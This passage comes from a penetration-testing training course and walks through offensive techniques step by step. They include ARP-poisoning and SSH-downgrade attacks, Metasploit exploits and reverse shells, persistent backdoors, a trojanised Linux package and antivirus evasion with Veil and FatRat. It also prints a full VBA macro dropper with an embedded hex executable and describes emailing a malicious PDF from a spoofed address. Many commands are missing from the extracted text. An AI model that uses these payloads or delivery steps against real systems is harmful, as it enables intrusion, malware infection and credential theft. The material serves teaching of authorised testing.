Portscan TCP ports 100 to 110 on host example.com (argument --scan can be substituted with -
8)
Send UDP packets spoofed to be from source host 192.168.1.150 to host example.com
TRANCHULAS | www.tranchulas.com 77
Hands-On Ethical Hacking and Penetration Testing Training Course
Send UDP packets spoofed to be from various random source IP addresses to host example.com
Send UDP packets with the data portion padded with 100 bytes to host example.com
Send UDP packets with the data portion padded with 100 bytes but containing the contents of
payload.txt to host example.com (the payload will be truncated if it is smaller than what is
specified by the --data argument)
Sparta
Sparta is a python GUI application which simplifies scanning and enumeration phase. To install
Sparta perform the following steps:
root@kali:# sparta
TRANCHULAS | www.tranchulas.com 78
Hands-On Ethical Hacking and Penetration Testing Training Course
Sparta will start active scan of the host. Sparta uses Nmap in a staged process. It will start the
initial scan of limited ports, starts Nikto for any web ports and performs screen capture. After
stage 1 scan finishes, it will start much deeper stage 2 and stage 3 scans.
TRANCHULAS | www.tranchulas.com 79
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 80
Hands-On Ethical Hacking and Penetration Testing Training Course
What is OpenVAS?
The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and
tools offering a comprehensive and powerful vulnerability scanning and vulnerability
management solution.
To install OpenVAS
Select OpenVAS initial setup from menu. This will perform some functions to get OpenVAS ready:
TRANCHULAS | www.tranchulas.com 81
Hands-On Ethical Hacking and Penetration Testing Training Course
Open your browser Iceweasel on kali and type the following URL:
https://127.0.0.1:9392 or https://localhost:9392
Confirm the Security Exception and you will see the login page
TRANCHULAS | www.tranchulas.com 82
Hands-On Ethical Hacking and Penetration Testing Training Course
Update your Vulnerability database feed by clicking Administration ->NVT Feed. After updating
the NVT Feed and CERT Feed, go to scan targets under the menu configuration. Here you can
specify the targets.
The next step is to create a task. Click on New task under the menu of scan management.
TRANCHULAS | www.tranchulas.com 83
Hands-On Ethical Hacking and Penetration Testing Training Course
factors such as exposure to exploits, malware and the age of vulnerabilities into a single
prioritized risk score. It also filters your vulnerabilities across 145 signal categories to easily
prioritize remediation and mitigate risk in your environment. Set up mitigating controls and act
on exploitable vulnerabilities with practical remediation advice.
Installation
1. Nexpose is available online and can be downloaded from:
https://www.rapid7.com/products/nexpose/compare-downloads.jsp
TRANCHULAS | www.tranchulas.com 85
Hands-On Ethical Hacking and Penetration Testing Training Course
3. You can select any one of the options. Let’s choose Windows/Linux.
4. Fill the form. You will need a corporate email address to complete the form.
5. Once you have registered. You will get an email which will contain the key and link to the
download.
TRANCHULAS | www.tranchulas.com 86
Hands-On Ethical Hacking and Penetration Testing Training Course
6. Download the Windows File. You need a 64-bit Machine for Nexpose to run. It is
recommended that the machine should have 8 GB RAM.
7. Double click on the installer file
TRANCHULAS | www.tranchulas.com 87
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 88
Hands-On Ethical Hacking and Penetration Testing Training Course
Starting Nexpose
TRANCHULAS | www.tranchulas.com 89
Hands-On Ethical Hacking and Penetration Testing Training Course
3. After some time you will be redirected to login page. Login using the credentials you setup
during the installation.
4. Enter the product Key you received in the email.
TRANCHULAS | www.tranchulas.com 90
Hands-On Ethical Hacking and Penetration Testing Training Course
6. Click on Home
TRANCHULAS | www.tranchulas.com 91
Hands-On Ethical Hacking and Penetration Testing Training Course
9. Click on Assets
TRANCHULAS | www.tranchulas.com 92
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 93
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 94
Hands-On Ethical Hacking and Penetration Testing Training Course
14. Once the scan is complete. Go to Vulnerabilities section to see the vulnerabilities found
by the scan
TRANCHULAS | www.tranchulas.com 95
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 96
Hands-On Ethical Hacking and Penetration Testing Training Course
18. Name the report and select “Audi Report” from report templates.
20. Click on Select Scan and select the scan you just performed
TRANCHULAS | www.tranchulas.com 97
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 98
Hands-On Ethical Hacking and Penetration Testing Training Course
23. Click on Test Report and you will be able to view it. There are various formats of reports
that you can generate.
• Vulnerabilities that allow a remote hacker to control or access sensitive data on a system.
• Misconfiguration (e.g. open mail relay, missing patches, etc.).
• Default passwords, a few common passwords, and blank/absent passwords on some
system accounts. Nessus can also call Hydra (an external tool) to launch a dictionary
attack.
• Denials of service against the TCP/IP stack by using malformed packets
• Preparation for PCI DSS audits
To configure Nessus, follow these steps:
1. Download Nessus from https://www.tenable.com/products/nessus/select-your-
operating-system
2. After download you will need a key to activate it. Go to
https://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code
and Register for the free version.
3. You must have a corporate email in order to register it. Fill the required information on
the form. You will get an email with the key.
4. Start the installation
TRANCHULAS | www.tranchulas.com 99
Hands-On Ethical Hacking and Penetration Testing Training Course
6. After the installation is complete it will automatically launch the browser and redirect to
a start page. If it doesn’t go to https://localhost:8834
8. It will ask you for the activation code you have received in the email
9. Nessus will now take some time to complete the installation. In case of any problem it
will prompt you to run nessuscli update. Go to your installation directory and run
nessucli.exe update command in command prompt. Make sure command prompt is run
as administrator
Running a Scan
1. Open browser and go to https://localhost:8834
2. Login using the credentials you set during setup
5. Click on 127.0.0.1
6. Once the scan is complete you can export the reports in various formats. Click on Export
9. Select any format. For example I will select HTML. Select Custom
Ettercap
Ettercap is a free and open source network security tool for man-in-the-middle attacks on LAN. It
can be used for computer network protocol analysis and security auditing. It is capable of
intercepting traffic on a network segment, capturing passwords, and conducting active
eavesdropping against a number of common protocols.
Reference: http://en.wikipedia.org/wiki/Ettercap_(computing)
root@kali:~# ettercap –G
DNS Spoofing
DNS spoofing is an attack, whereby data is introduced into a Domain Name System (DNS) name
server's cache database, causing the name server to return an incorrect IP address, diverting
traffic to another computer (often the attacker's).
Alternatively you can skip step 3 to 13 and enter following command in terminal:
[privs]
[privs]
3. Locate following lines in the file, and uncomment them by removing the hashes then save
it and close it:
Change it to:
5. Victim will be asked to accept an untrusted certificate. Credentials will get compromised
if the certificate is accepted.
Traffic Forgery
Ettercap has the ability to route traffic though itself using "Man in the Middle" attacks and then
use filters to modify the data before sending it on to the victim. Let’s create a Ettercap filter that
will replace words on a page, in real time. Once the victim browses to this page, his traffic will be
redirected through the attacking machine.
log(DATA.data, "/tmp/mispelled_ettercap.log");
replace("promoted", "fired");
In above example the word “promoted” will be replaced with word “fired”.
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("Modified Accept-Encoding!\n");
root@kali:~# cd Desktop
5. Let’s assume our target is 192.168.1.150. Run following command to start the attack:
Let’s assume our target server is using ssh-1.99 and is configured to support both SSH1 and SSH2
and the client is set to use SSH2 and SSH1 but SSH2 as a preference. Here we will change answer
of server by modifying the "1.99" string to "1.51" to indicate to the client that the server supports
only SSH1. Victim who thinks to use SSH2 protocol will login with SSH1 and password will be
captured as SSH1 has weak password authentication mechanism.
Ettercap has a predefined configuration file for the SSH downgrade attack. The file is
/usr/local/share/ettercap/etter.filter.ssh.
1. You are not required to change anything in file. Just compile it:
root@kali:~# cd /usr/share/ettercap/
root@kali:/usr/share/ettercap# etterfilter etter.filter.ssh -o etter.ssh.ef
2. Launch Ettercap.
3. Select Sniff -> Unified Sniffing.
4. Select Network Interface.
5. Select Hosts -> Scan for Hosts
6. Select Hosts -> Host List
7. Select your router gateway as Target 1 and hosts as target 2.
8. Check your targets.
9. Select MITM -> ARP Poisoning and make sure “Sniff remote connections” is checked.
10. Select Filters -> Load a filter -> Select etter.ssh.ef. The filter is now loaded.
11. Select Start -> Start Sniffing
Module 8: Exploitation
Netcat
Netcat is also known as hackers’ Swiss army knife. It can read and write to TCP and UDP ports. Netcat
runs in 2 modes:
• Server
• Client
If you get an error you must first install netcat by typing apt-get install netcat in terminal. After
that switch to netcat transitional. Type sudo update-alternatives --config nc and select option
/bin/nc.traditional
Now connect from your Kali Linux machine
You are now connected to terminal of the machine on which netcat server was running. Type
whoami or any other command. The command will be executed.
PC-2:
Metasploit
The Metasploit ® Framework is a free, open source penetration testing solution developed by the
open source community & Rapid7. Metasploit can be used to test the vulnerability of computer
systems to protect them, and it can be used to break into remote systems. Like many
information security tools, Metasploit can be used for both legitimate and unauthorized
activities.
Interfaces
Metasploit Framework has following interfaces:
Msfconsole
To access msfconsole run the following command.
root@kali:~# msfconsole
Using Exploits
use exploit_name activates the exploit environment for the exploit exploit_name.
For example to select Microsoft RPC DCOM MS03-026 exploit using the name ms03_026, we’ll
use following command:
You’ll notice msf> changed to exploit (ms03_026_dcom) >. This notifies that we are working inthe
temporary environment of that exploit.
The show options command displays the various parameters which are required to use the
exploit.
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
For Microsoft RPC DCOM MSO3-026 it requires two parameters, RHOST (the target's address)
and RPORT (and the target's port, defaults to 135 in this case). The show targets command will
list all available targets for the selected exploit module.
Exploit targets:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
This module only has one target, which works on NT 4.0 SP6, plus all versions of Windows 2000,
and all versions of Windows XP.
The show payloads command will list all payloads that are compatible with the selected exploit.
MSF does a good job of preventing you from using the wrong payload for a given exploit.
We must set each of the options listed as 'required' before we can use this exploit. In this exploit
we only have a single target option, so we set the TARGET variable to 0, with the command set
TARGET 0.
Many exploits will choose a reasonable default target for you. We now set the target server's IP
address.
Next we need to set the required payload (shellcode) for the exploit. Here we set PAYLOAD to
vncinject/reverse_tcp, using the command:
Now we use the show options command to check which options have been set and which are
required to be set.
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
As we can see, we still need to supply a value for the LHOST variable. LHOST is the IP address
where the exploit will connect to after it is successfully executed. Give the IP address of your
machine. To get IP address of your machine use ifconfig command. Use the tun0 interface IP
address.
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.3.103 netmask 255.255.255.0 broadcast 192.168.3.255
inet6 fe80::20c:29ff:feab:675e prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:ab:67:5e txqueuelen 1000 (Ethernet)
RX packets 151734 bytes 205833005 (196.2 MiB)
RX errors 2 dropped 8 overruns 0 frame 0
TX packets 83510 bytes 12956806 (12.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
device interrupt 19 base 0x2000
Many exploits and payloads have another set of options, called advanced options. These can be
displayed with the command show advanced. Advanced options can perform tasks such as
modifying an exploit request to avoid an IDS signature, changing brute force settings, or
specifying exact return addresses to use.
At this point, everything is ready and all variables have been set. We make a final check on the
exploit with the show options command and verify that we are good to go. The exploit or run
command actually launches the attack, doing whatever it needs to do to have the payload
executed on the remote system.
The check command can be used to whether or not the target system is vulnerable to attack. The
check feature is not available with every exploit, but can be useful when you are trying to
determine if a system is patched before trying to exploit it.
C:\>
As we can see that we have successfully exploited the target and we have got a reverse command
shell. We can use various OS commands
C:\>ipconfig
ipconfig
Windows IP Configuration
Footprinting MySQL
The advanced footprinting of MySQL servers is very useful. If you're performing an internal
penetration test this is a must use tool. When MySQL installs, it installs on port 3306 TCP. This
module can be used to footprint mysql server to find its version
There are many times when there are no exploits in the metasploit framework that work on the
target system. We can import external modules into the framework. For example we will import
this exploit from exploit-db into metasploit:
https://www.exploit-db.com/exploits/31433/
Open terminal and navigate to Desktop
root@kali:~# cd Desktop
root@kali:~/Desktop#
Create a ruby file with .rb extension using nano and copy all the code from the link on the file.
Save the file.
Copy the code and save the file. Ctrl + X to save the file
As we can see the exploit is added and we can now use it.
interaction such as enticing them to click a link, open a document, or somehow get to
your malicious website.
Binary Payloads
One of interesting features of Metasploit is the ability to generate an executable from a
Metasploit payload. This can be very useful in situations such as social engineering, if you can get
a user to run your payload for you; there is no reason to go through the trouble of exploiting any
software.
Let’s generate a reverse shell payload, execute it on a remote system, and get our shell
through a command line tool called msfvenom. We'll generate a Windows reverse shell
executable that will connect back to us on port 31337.
root@kali:~# cd Desktop/
root@kali:~/Desktop# file game.exe
game.exe: PE32 executable (GUI) Intel 80386, for MS Windows
Now we have a windows executable ready to go. We will use 'multi/handler' which is a stub that
handles exploits launched outside of the framework.
Exploit target:
Id Name
-- ----
0 Wildcard Target
Now that we have everything set up and ready to go. We now need to transport the exe file to
the victim’s computer and execute it. As soon as the file is executed it will give us a meterpreter
reverse shell
Meterpreter Shell
Meterpreter is an effective payload that allows to perform various post-exploitation functions. It
comes with its own set of commands which provide various functionality. Following section will
cover some of the commands.
To get a list of commands type help
meterpreter > ls
Listing: C:\
============
Running getuid will display the user that the Meterpreter server is running as on the host.
The hashdump post module will dump the contents of the SAM database. Note: This module will
only run if meterpreter has required privileges
These are NTLM hashes that can be cracked using a dictionary attack to get the passwords.
A great feature that meterpreter provides is to migrate itself to a running process. Let us take an
example. Run ps command to get a list of running processes
meterpreter > ps
Process List
============
Now we will try to migrate to another process. Note the PID of the process to which you want to
migrate
Persistent Backdoors
After compromising a vulnerable machine, we may want to reconnect back later to our
compromised system. It is a good idea to leave yourself an easier way back into the system. If
the service is patched or down, we can use alternate way of connection. Meterpreter has a
persistence command, that will create a Meterpreter service that will be available to you even if
the remote system is rebooted.
Once we have exploited the machine and got the meterpreter shell run persistence command
OPTIONS:
(here -A means automatic start, matching multi/handler to connect to the agent. The -X means
the agent automatically starts when the system boots, -i 10 means the no. of seconds to wait
between each connection attempt, -p 4434 mean the port on which the Metasploit handler will
be listening and the IP on which the attacker machine is running which 192.167.0.6.
After some time, a new connection will be created
Active sessions
===============
We take our current session to the background using background command. Then we list our
sessions. We can see that there are two sessions. One was initial on port 4444 and the other is
our persistent backdoor on port 4434.
We now reboot the system and create a handler. As soon as the system reboots we will get a
reverse shell.
Active sessions
===============
Linux Trojan
In order to demonstrate that client side attacks and trojans are not exclusive to the Windows
world, we will package a Metasploit payload in with an Ubuntu deb package to give us a shell on
Linux.
We first need to download the package that we are going to infect and move it to a temporary
working directory. In our example, we will use the package 'chromium', a game available on the
Ubuntu store.
Next, we need to extract the package to a working directory and create a DEBIAN directory to
hold our additional added "features".
In the 'DEBIAN' directory, create a file named 'control' that contains the following:
We also need to create a post-installation script that will execute our binary. In our 'DEBIAN',
we'll create a file named 'postinst' that contains the following:
#!bin/sh
Now we'll create our malicious payload. We'll be creating a reverse shell to connect back to us
named 'chromium_scores'.
We'll now make our post-installation script executable and build our new package. The built file
will be named 'work.deb' so we will want to change that to 'chromium.deb' and copy the
package to our web root directory.
We will need to set up the Metasploit multi/handler to receive the incoming connection.
On our Ubuntu victim, we have somehow convinced the user to download and install our
awesome new game.
When the victim plays the game, we have got our shell.
Bypassing Antivirus
Using msfvenom
Most Windows based systems currently run some form of anti-virus protection due to the
widespread pervasiveness of malicious software targeting the platform. We will encode our
produced executable in an attempt to make it harder to discover. We will use msfvenom for this.
There are various enchoders available which can be used. We will use shikata_ga_nai. To check
which encoders are available, use the following command:
Copy the game2.exe to windows PC and run it. You will get a shell
If it still gets discovered, by antivirus, we’ll try something different. Use different encoders, two
of which we will tell it to run through 10 times each. This is about as much encoding as we can
do and still have a working binary.
Using Veil-Evasion
Veil is used to bypass AV and generate payloads. It uses various methods to encrypt and
obfuscate the payload to avoid detection.
To install veil-evasion use the following commands:
Press Y. It will install the required files. Install all the dependencies it prompts.
Now we are ready to use Veil-evasion. Type veil on terminal. It will prompt you to install veil-
evasion. Select Yes. Type list to get a list of all available payloads.
[menu>>]: list
=========================================================================
Veil-Evasion | [Version]: 2.28.2
=========================================================================
TRANCHULAS | www.tranchulas.com 138
Hands-On Ethical Hacking and Penetration Testing Training Course
1) auxiliary/coldwar_wrapper
2) auxiliary/macro_converter
3) auxiliary/pyinstaller_wrapper
4) c/meterpreter/rev_http
5) c/meterpreter/rev_http_service
6) c/meterpreter/rev_tcp
7) c/meterpreter/rev_tcp_service
8) c/shellcode_inject/flatc
9) cs/meterpreter/rev_http
10) cs/meterpreter/rev_https
11) cs/meterpreter/rev_tcp
12) cs/shellcode_inject/base64_substitution
13) cs/shellcode_inject/virtual
There are large number of payloads available. Use the set command to use a specific payload.
[menu>>]: use 6
========================================================================
Veil-Evasion | [Version]: 2.28.2
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Required Options:
Available Commands:
[ruby/meterpreter/rev_tcp>>]: generate
=========================================================================
[>] Please enter the base name for output files (default is 'payload'): myfile1
Language: c
Payload: c/meterpreter/rev_tcp
Required Options: COMPILE_TO_EXE=Y LHOST=192.168.3.103 LPORT=4444
Payload File: /var/lib/veil-evasion/output/source/myfile1.c
Handler File: /var/lib/veil-evasion/output/handlers/myfile1_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
The executable has been saved at the location mentioned. We can use encrypted payloads as
well. Now we need to start a handler in msfconsole. Type msfconsole in terminal
We have copied our exe to the targets windows machine and when the user clicks on it we get a
reverse connection.
FatRat
An easy tool to generate undetectable backdoors and for post exploitation attacks like. This tool
compiles a malware with popular payloads and then the compiled malware can be executed on
windows, android, mac.
After it has been downloaded, extract files from the zipped folder and go in the FatRat directory.
root@kali:~# ./setup.sh
Now we are ready to use FatRat. Type fatrat on terminal to start FatRat. It will list down all the
available modules that can be used.
To create a binary executable file, select any module of your choice and enter the number.
We will use option 6 “Create Fud Backdoor 1000% with PwnWinds [Excelent]”. Type 6 in terminal.
┌─[TheFatRat]──[~]─[menu]:
└─────► 6
You will then see a new menu appear similar to the menu given below. Choose option 6 “Create
Backdoor with C / Meterperter_reverse_tcp (FUD 97%)”
┌─[TheFatRat]──[~]─[pwnwind]:
└─────► 6
It will then prompt you to enter LHOST, LPORT and file name.
It will automatically create the exe file named “Myfile”. The file would be saved automatically to
the output folder in the FatRat directory.
[ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ]
Generate Backdoor
+------------++-------------------------++-----------------------+
| Name || Descript || Your Input
+------------++-------------------------++-----------------------+
| LHOST || The Listen Addres || 192.168.3.103
| LPORT || The Listen Ports || 4444
| OUTPUTNAME || The Filename output || Myfile
| PAYLOAD || Payload To Be Used ||
+------------++-------------------------++-----------------------+
[ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ]
We have copied our exe to the targets windows machine and when the user clicks on it we get a
reverse connection.
To create a malicious word file, select option 7 “Create Backdoor For Office with Microsploit”.
Type 7 in terminal.
┌─[TheFatRat]──[~]─[menu]:
└─────► 7
You will then see a new menu appear similar to the menu given below. Choose option 2 “The
Microsoft Office Macro on Windows”
┌─[TheFatRat]──[~]─[microsploit]:
└─────► 2
It will then prompt you to enter LHOST, LPORT, file name and the document body. Once the
document body is entered, it will ask you if you want a custom exe file backdoor. Enter n.
Afterwards, select any payload you like.
Enter the message for the document body (ENTER = default) : Hi This is a malicious doc file.
[ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ]
+-------------------------------------------+
| [ 1 ] windows/shell_bind_tcp |
| [ 2 ] windows/shell/reverse_tcp |
| [ 3 ] windows/meterpreter/reverse_tcp |
| [ 4 ] windows/meterpreter/reverse_tcp_dns |
| [ 5 ] windows/meterpreter/reverse_http |
| [ 6 ] windows/meterpreter/reverse_https |
+-------------------------------------------+
Choose Payload :3
It will automatically create a macros enabled word document named “MyDocFile”. The file would
be saved automatically to the output folder in the FatRat directory.
[ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ]
Generate Backdoor
+------------++-------------------------++-----------------------+
| Name || Descript || Your Input
+------------++-------------------------++-----------------------+
| LHOST || The Listen Addres || 192.168.3.103
| LPORT || The Listen Ports || 4444
| OUTPUTNAME || The Filename output || MyDocFile
| PAYLOAD || Payload To Be Used || windows/meterpreter/reverse_tcp
+------------++-------------------------++-----------------------+
[ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ]
Now we need to start a handler in msfconsole. Type msfconsole in terminal and start a listener.
As soon as the user opens the malicious word document, we will get a reverse connection.
PDF Exploit
We start off by loading our msfconsole. After we are loaded we want to create a malicious PDF
that will give the victim a sense of security in opening it.
We are going to be using the Adobe Reader 'util.printf()' JavaScript Function Stack Buffer
Overflow Vulnerability.
Adobe Reader is prone to stack-based buffer-overflow vulnerability because the application
fails to perform adequate boundary checks on user-supplied data.
An attacker can exploit this issue to execute arbitrary code with the privileges of the user
running the application or crash the application, denying service to legitimate users. So we start
by creating our malicious PDF file for use in this client side attack.
Before we send the malicious file to our victim we need to set up a listener to capture
this reverse connection. We will use msfconsole to set up our multi handler listener.
Now that our listener is waiting to receive its malicious payload we have to deliver this payload
to the victim and since in our information gathering we obtained the email address of the IT
Department we will use a handy little script called sendEmail to deliver this payload to
the victim. With a kung-fu one-liner, we can attach the malicious pdf, use any smtp server we
want and write a pretty convincing email from any address we want.
Sincerely,
Tech
As we can see here, the script allows us to put any FROM (-f) address, any TO (-t) address, any
SMTP (-s) server as well as Titles (-u) and our malicious attachment (-a). Once we do all that and
press enter we can type any message we want, then press CTRL+D and this will send the email
out to the victim.
Now on the victim's machine, our IT Department employee is getting in for the day and logging
into his computer to check his email.
Clicking the file opens Adobe but shows a greyed out window that never reveals a PDF.
Instead, on the attacker’s machine what is revealed.
VBScript Infection
Metasploit has a couple of built in methods you can use to infect Word and Excel documents with
malicious Metasploit payloads. You can also use your own custom payloads as well. o begin, we
first need to create our VBScript payload:
Sub Auto_Open()
Ufwdk12
End Sub
Sub Ufwdk12()
Dim Ufwdk7 As Integer
Dim Ufwdk1 As String
Dim Ufwdk2 As String
Dim Ufwdk3 As Integer
Dim Ufwdk4 As Paragraph
Dim Ufwdk8 As Integer
Dim Ufwdk9 As Boolean
Dim Ufwdk5 As Integer
Dim Ufwdk11 As String
Dim Ufwdk6 As Byte
Dim Juxobelrhb as String
Juxobelrhb = "Juxobelrhb"
Ufwdk1 = "RYoCwIWYs.exe"
Ufwdk2 = Environ("USERPROFILE")
ChDrive (Ufwdk2)
ChDir (Ufwdk2)
Ufwdk3 = FreeFile()
Open Ufwdk1 For Binary As Ufwdk3
For Each Ufwdk4 in ActiveDocument.Paragraphs
DoEvents
Ufwdk11 = Ufwdk4.Range.Text
If (Ufwdk9 = True) Then
Ufwdk8 = 1
While (Ufwdk8 < Len(Ufwdk11))
Ufwdk6 = Mid(Ufwdk11,Ufwdk8,4)
Put #Ufwdk3, , Ufwdk6
Ufwdk8 = Ufwdk8 + 4
Wend
ElseIf (InStr(1,Ufwdk11,Juxobelrhb) > 0 And Len(Ufwdk11) > 0) Then
Ufwdk9 = True
End If
Next
Close #Ufwdk3
Ufwdk13(Ufwdk1)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
Juxobelrhb
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&
HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H00&H00&H
00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H0
0&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H80&H00&H00&H00&H0E
&H1F&HBA&H0E&H00&HB4&H09&HCD&H21&HB8&H01&H4C&HCD&H21&H54&H68&H69
&H73&H20&H70&H72&H6F&H67&H72&H61&H6D&H20&H63&H61&H6E&H6E&H6F&H74&
H20&H62&H65&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H53&H20&H6D&H
6F&H64&H65&H2E&H0D&H0D&H0A&H24&H00&H00&H00&H00&H00&H00&H00&H50&H4
5&H00&H00&H4C&H01&H03&H00&H6E&H57&HA5&H7C&H00&H00&H00&H00&H00&H00
&H00&H00&HE0&H00&H0F&H03&H0B&H01&H02&H38&H00&H02&H00&H00&H00&H0E&
H00&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H10&H00&H00&H00&H20&…
…….. (continued)
As the output message indicates, the script contains two parts. The first part of script is created
as a macro and second part is appended into the document text itself. You need to transfer the
script to a windows machine with Microsoft Office installed.
Create a new word document and open it. Copy the payload hex code in the document.
Make sure you remove the previous code and paste the new one
Save the file. Now we need to start a listener on the Kali Linux.
root@kali:~ msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.3.122
LHOST => 192.168.3.122
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > run
Send the Word file to the target, as soon as he opens the file reverse shell will be created.
root@kali:~# veil-evasion
[menu>>]: use 28
=========================================================================
Veil-Evasion | [Version]: 2.28.2
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Payload: powershell/shellcode_inject/virtual loaded
Required Options:
Available Commands:
[powershell/shellcode_inject/virtual>>]: generate
Select 1
1 - msfvenom (default)
2 - custom shellcode string
3 - file with shellcode (raw)
Press Enter because we will be using default payload. Enter the IP address and port.
[>] Please enter the base name for output files (default is 'payload'): excel_file
Language: powershell
Payload: powershell/shellcode_inject/virtual
Shellcode: windows/meterpreter/reverse_tcp
Options: LHOST=192.168.3.103 LPORT=8080
Create a new file named input.bat on desktop and paste the content in that file.
root@kali:~# cd Desktop/
root@kali:~/Desktop# gedit input.bat
Press Ok. Now under Developer go to Visual Basic or press Alt + F11
Copy all the code from output.txt into the excel file
Save and close the excel file. On your Kali machine launch msfconsole. We need to create a
listener
Now we will send our malicious file to the target. As soon as the target opens the file and enables
the macro content we will get a reverse shell
Pivoting
Pivoting is the unique technique of using an instance (also referred to as a ‘plant’ or ‘foothold’)
to be able to “move” around inside a network. Basically using the first compromise to allow and
even aid in the compromise of other otherwise inaccessible systems. In this scenario we will be
using it for routing traffic from a normally non-routable network.
Let us attack the machine at 192.168.2.20. We will use ms08_067_netapi.
As we can see that the exploit has successfully executed and we now have a meterpreter shell.
When we run the ipconfig command we see that the target is connected to multiple networks.
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 65539
============
Name : AMD PCNET Family PCI Ethernet Adapter #2 - Packet Scheduler Miniport
Hardware MAC : 00:0c:29:92:35:52
MTU : 1500
IPv4 Address : 192.168.2.20
IPv4 Netmask : 255.255.0.0
Interface 65540
============
Name : AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC : 00:0c:29:92:35:5c
MTU : 1500
IPv4 Address : 192.170.1.3
IPv4 Netmask : 255.255.255.0
The second IP address 192.170.1.3 is another network that the target is connected to. We want
to leverage this newly discovered information and attack this additional network. Metasploit has
an autoroute meterpreter script that will allow us to attack this second network through our first
compromised machine.
We are interested in 192.170.1.0/24
====================
Now we need to determine if there are other systems on this second network we have
discovered. We will use a basic TCP port scanner to look for ports 139 and 445.
It will take some time to scan the whole network. You can increase the number of THREADS to
speed up the process. You will get the following result
As we can see that there is another machine active on the network 192.170.1.5. So, we will try
ms08 on it as well.
meterpreter>
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 65539
============
Name : AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC : 00:0c:29:c1:1e:28
MTU : 1500
IPv4 Address : 192.170.1.5
IPv4 Netmask : 255.255.255.0
As you can see, pivoting is an extremely powerful feature and is a critical capability to have on
penetration tests.
Cisco Exploits
Cisco Global Exploiter (CGE)
CGE is a simple exploit engine driven by perl for testing vulnerabilities in Cisco switches and
routers. CGE can exploit the following 14 vulnerabilities:
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability[5] - Cisco
Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability
Lauch Cisco Global Exploiter
root@kali:# cd /usr/bin
root@kali:/usr/bin# perl cge.pl
Usage :
perl cge.pl <target> <vulnerability number>
Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
Phishing
Phishing is a way of attempting to acquire information such as usernames, passwords, and
credit card details by masquerading as a trustworthy entity in an electronic communication.
Communications purporting to be from popular social web sites, auction sites, online payment
processors or IT administrators are commonly used to lure the unsuspecting public. Phishing is
typically carried out by e-mail spoofing or instant messaging, and it often directs users to enter
